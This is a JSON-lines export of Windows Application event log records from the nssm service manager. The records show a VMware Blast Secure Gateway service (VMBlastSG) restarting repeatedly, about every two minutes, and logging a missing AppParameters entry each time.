{"@timestamp":1646796092522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160284","160284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164598}}
{"@timestamp":1646796092538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164599}}
{"@timestamp":1646796092539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164600}}
{"@timestamp":1646796092539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164601}}
{"@timestamp":1646796092540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164602}}
{"@timestamp":1646796221029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164603}}
{"@timestamp":1646796221029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164604}}
{"@timestamp":1646796221030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160784","0"]}}},"module":"Application","provider":"nssm","sequence":164605}}
{"@timestamp":1646796221031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160784","160784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164606}}
{"@timestamp":1646796221048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164607}}
{"@timestamp":1646796221048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164608}}
{"@timestamp":1646796221049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164609}}
{"@timestamp":1646796221050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164610}}
{"@timestamp":1646796349528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164611}}
{"@timestamp":1646796349529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164612}}
{"@timestamp":1646796349529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160240","0"]}}},"module":"Application","provider":"nssm","sequence":164613}}
{"@timestamp":1646796349530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160240","160240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164614}}
{"@timestamp":1646796349546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164615}}
{"@timestamp":1646796349547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164616}}
{"@timestamp":1646796349547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164617}}
{"@timestamp":1646796349548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164618}}
{"@timestamp":1646796478256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164619}}
{"@timestamp":1646796478257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164620}}
{"@timestamp":1646796478258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161696","0"]}}},"module":"Application","provider":"nssm","sequence":164621}}
{"@timestamp":1646796478258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161696","161696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164622}}
{"@timestamp":1646796478274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164623}}
{"@timestamp":1646796478275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164624}}
{"@timestamp":1646796478275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164625}}
{"@timestamp":1646796478276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164626}}
{"@timestamp":1646796606746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164627}}
{"@timestamp":1646796606746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164628}}
{"@timestamp":1646796606747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161372","0"]}}},"module":"Application","provider":"nssm","sequence":164629}}
{"@timestamp":1646796606747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161372","161372","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164630}}
{"@timestamp":1646796606764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164631}}
{"@timestamp":1646796606764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164632}}
{"@timestamp":1646796606765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164633}}
{"@timestamp":1646796606766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164634}}
{"@timestamp":1646796735260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164635}}
{"@timestamp":1646796735261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164636}}
{"@timestamp":1646796735263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161708","0"]}}},"module":"Application","provider":"nssm","sequence":164637}}
{"@timestamp":1646796735264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161708","161708","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164638}}
{"@timestamp":1646796735280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164639}}
{"@timestamp":1646796735281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164640}}
{"@timestamp":1646796735281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164641}}
{"@timestamp":1646796735282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164642}}
{"@timestamp":1646796863759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164643}}
{"@timestamp":1646796863760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164644}}
{"@timestamp":1646796863760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160112","0"]}}},"module":"Application","provider":"nssm","sequence":164645}}
{"@timestamp":1646796863761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160112","160112","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164646}}
{"@timestamp":1646796863777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164647}}
{"@timestamp":1646796863777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164648}}
{"@timestamp":1646796863778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164649}}
{"@timestamp":1646796863778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164650}}
{"@timestamp":1646796992342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164651}}
{"@timestamp":1646796992343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164652}}
{"@timestamp":1646796992344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160424","0"]}}},"module":"Application","provider":"nssm","sequence":164653}}
{"@timestamp":1646796992346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160424","160424","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164654}}
{"@timestamp":1646796992363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164655}}
{"@timestamp":1646796992363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164656}}
{"@timestamp":1646796992365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164657}}
{"@timestamp":1646796992365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164658}}
{"@timestamp":1646797120862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164659}}
{"@timestamp":1646797120863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164660}}
{"@timestamp":1646797120864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161684","0"]}}},"module":"Application","provider":"nssm","sequence":164661}}
{"@timestamp":1646797120864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161684","161684","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164662}}
{"@timestamp":1646797120880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164663}}
{"@timestamp":1646797120881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164664}}
{"@timestamp":1646797120882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164665}}
{"@timestamp":1646797120882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164666}}
{"@timestamp":1646797249419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164667}}
{"@timestamp":1646797249420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164668}}
{"@timestamp":1646797249420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161328","0"]}}},"module":"Application","provider":"nssm","sequence":164669}}
{"@timestamp":1646797249421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161328","161328","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164670}}
{"@timestamp":1646797249438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164671}}
{"@timestamp":1646797249438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164672}}
{"@timestamp":1646797249439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164673}}
{"@timestamp":1646797249439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164674}}
{"@timestamp":1646797377927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164675}}
{"@timestamp":1646797377927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164676}}
{"@timestamp":1646797377928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159148","0"]}}},"module":"Application","provider":"nssm","sequence":164677}}
{"@timestamp":1646797377929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159148","159148","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164678}}
{"@timestamp":1646797377946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164679}}
{"@timestamp":1646797377946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164680}}
{"@timestamp":1646797377947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164681}}
{"@timestamp":1646797377948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164682}}
{"@timestamp":1646797506580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164683}}
{"@timestamp":1646797506581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164684}}
{"@timestamp":1646797506582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156720","0"]}}},"module":"Application","provider":"nssm","sequence":164685}}
{"@timestamp":1646797506583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156720","156720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164686}}
{"@timestamp":1646797506602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164687}}
{"@timestamp":1646797506603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164688}}
{"@timestamp":1646797506603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164689}}
{"@timestamp":1646797506604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164690}}
{"@timestamp":1646797635102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164691}}
{"@timestamp":1646797635103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164692}}
{"@timestamp":1646797635103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161340","0"]}}},"module":"Application","provider":"nssm","sequence":164693}}
{"@timestamp":1646797635104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161340","161340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164694}}
{"@timestamp":1646797635121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164695}}
{"@timestamp":1646797635122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164696}}
{"@timestamp":1646797635122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164697}}
{"@timestamp":1646797635123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164698}}
{"@timestamp":1646797763611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164699}}
{"@timestamp":1646797763612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164700}}
{"@timestamp":1646797763612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159196","0"]}}},"module":"Application","provider":"nssm","sequence":164701}}
{"@timestamp":1646797763612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159196","159196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164702}}
